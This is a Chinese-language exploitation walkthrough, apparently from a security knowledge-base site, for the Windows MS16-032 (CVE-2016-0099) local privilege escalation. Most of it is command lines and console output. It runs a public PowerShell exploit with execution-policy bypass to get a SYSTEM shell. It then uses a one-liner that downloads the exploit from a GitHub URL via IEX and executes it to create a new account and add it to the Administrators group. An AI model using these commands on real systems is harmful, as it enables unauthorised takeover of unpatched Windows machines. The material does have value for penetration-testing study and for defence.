menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right Windows本地提权漏洞 chevron_right (CVE-2016-0099)【MS16-32】 windows 本地提权漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2016-0099)【MS16-32】 windows 本地提权漏洞.md
    5.5 KB / 2021-04-21 09:23:46
        # (CVE-2016-0099)【MS16-32】 windows 本地提权漏洞
    
    # 介绍
    
    漏洞类型:特权提升
    
    Microsoft 安全公告:https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2016/ms16-032
    
    exploit-db的详情:https://www.exploit-db.com/exploits/39574/
    
    利用时需要满足的要求
    
    > ①系统需要拥有至少2个的CPU核心
    >
    > ②Power shell v2.0以及更高的版本
    
    影响的Windwos版本
    
    > Windows Vista、Windows 7、Windows 2008 Server、Windows 2012 Server、Windows 8.1、Windows 10
    
    ## 漏洞利用
    
    > 脚本地址:[1_Invoke-MS16-032.ps1](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1)
    
    
    
    测试一:普通用户登录下,获取管理员cmd创建文件的方法有多种,这里演示两种:
    
    ①创建文件`1_Invoke-MS16-032.ps1`并写入内容;
    
    ```
    E:\MS16-032>type nul > 1_Invoke-MS16-032.ps1
    
    E:\MS16-032>notepad 1_Invoke-MS16-032.ps1    #写入内容
    ```
    
    文件下载好之后,先展示一下当前用户,以及属组
    
    ```
    E:\MS16-032>whoami
    win...\test
    
    E:\MS16-032>net user  test
    用户名                 test
    ...
    可允许的登录小时数     All
    
    本地组成员             *Users
    全局组成员             *None
    命令成功完成。
    ```
    
    无权的一个用户,现在开始执行脚本
    
    ```
    E:\MS16-032>powershell -exec bypass
    Windows PowerShell
    版权所有 (C) 2009 Microsoft Corporation。保留所有权利。
    
    PS E:\MS16-032> . .\1_Invoke-MS16-032.ps1
    
    PS E:\MS16-032> Invoke-MS16-032
             __ __ ___ ___   ___     ___ ___ ___
            |  V  |  _|_  | |  _|___|   |_  |_  |
            |     |_  |_| |_| . |___| | |_  |  _|
            |_|_|_|___|_____|___|   |___|___|___|
    
                           [by b33f -> @FuzzySec]
    
    [?] Operating system core count: 2
    [>] Duplicating CreateProcessWithLogonW handle
    ...
    [>] Starting process race
    [!] Holy handle leak Batman, we have a SYSTEM shell!!
    
    PS E:\MS16-032> 
    ```
    
    
    
    
    
    ![image-20201103195057316](resource/%EF%BC%88CVE-2016-0099%EF%BC%89%E3%80%90MS16-32%E3%80%91%20windows%20%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E/media/image-20201103195057316.png)
    
    前面的步骤时进入powershell在执行命令,但其实可以加一个`-c`参数,后面可以直接接命令,分号分隔开,然后就会自动执行,不用进入powershell。
    
    ```
    E:\MS16-032>powershell -exec bypass -c ". .\1_Invoke-MS16-032.ps1;Invoke-MS16-032"
             __ __ ___ ___   ___     ___ ___ ___
            |  V  |  _|_  | |  _|___|   |_  |_  |
            |     |_  |_| |_| . |___| | |_  |  _|
            |_|_|_|___|_____|___|   |___|___|___|
    
                           [by b33f -> @FuzzySec]
    
    [?] Operating system core count: 2
    [>] Duplicating CreateProcessWithLogonW handle
    ...
    [>] Starting process race
    [!] Holy handle leak Batman, we have a SYSTEM shell!!
    
    E:\MS16-032>
    ```
    
    脚本地址:[2_Invoke-MS16-032.ps1](https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1)
    
    
    
    测试二:普通用户登录下,创建其他用户,并加入`administrators`组Ps:相对于测试一的脚本,该脚本进行了简单改变,可以执行任意程序,并可以添加参数执行(全程无弹框)。`-Application`参数可以执行任意程序
    
    ```
    E:\MS16-032>whoami
    win...\test
    
    E:\MS16-032>net user test_test /add
    发生系统错误 5。
    
    拒绝访问。
    ```
    
    ```
    E:\MS16-032>powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user test_test test_test /add'"
         __ __ ___ ___   ___     ___ ___ ___
        |  V  |  _|_  | |  _|___|   |_  |_  |
        |     |_  |_| |_| . |___| | |_  |  _|
        |_|_|_|___|_____|___|   |___|___|___|
    
                       [by b33f -> @FuzzySec]
    
    [?] Operating system core count: 2
    [>] Duplicating CreateProcessWithLogonW handles..
    ...
    [>] Starting process race
    [!] Holy handle leak Batman, we have a SYSTEM shell!!
    
    E:\MS16-032>net user
    ---------------------------------------------------------------------
    Administrator            Guest                    HSW
    test                     test_test
    命令成功完成。
    
    
    E:\MS16-032>net user test_test
    用户名                 test_test
    ...
    本地组成员             *Users
    全局组成员             *None
    命令成功完成。
    ```
    
    可以看到`test_test`用户添加完成,但是只属于`Users组`,现在将其加入`Administrators组`,先查看一下组和权限
    
    ```
    E:\MS16-032>powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net localgroup Administrators test_test /add'"
         __ __ ___ ___   ___     ___ ___ ___
        |  V  |  _|_  | |  _|___|   |_  |_  |
        |     |_  |_| |_| . |___| | |_  |  _|
        |_|_|_|___|_____|___|   |___|___|___|
    
                       [by b33f -> @FuzzySec]
    
    [?] Operating system core count: 2
    [>] Duplicating CreateProcessWithLogonW handles..
    ...
    [>] Starting process race
    [!] Holy handle leak Batman, we have a SYSTEM shell!!
    
    E:\MS16-032>net localgroup Administrators
    别名     Administrators
    注释     管理员对计算机/域有不受限制的完全访问权
    
    成员
    
    ---------------------------------------------
    Administrator
    test_test
    命令成功完成。
    
    
    E:\MS16-032>net user test_test
    用户名                 test_test
    ...
    本地组成员             *Administrators       *Users
    全局组成员             *None
    命令成功完成。
    ```
    
    
    
    links
    file_download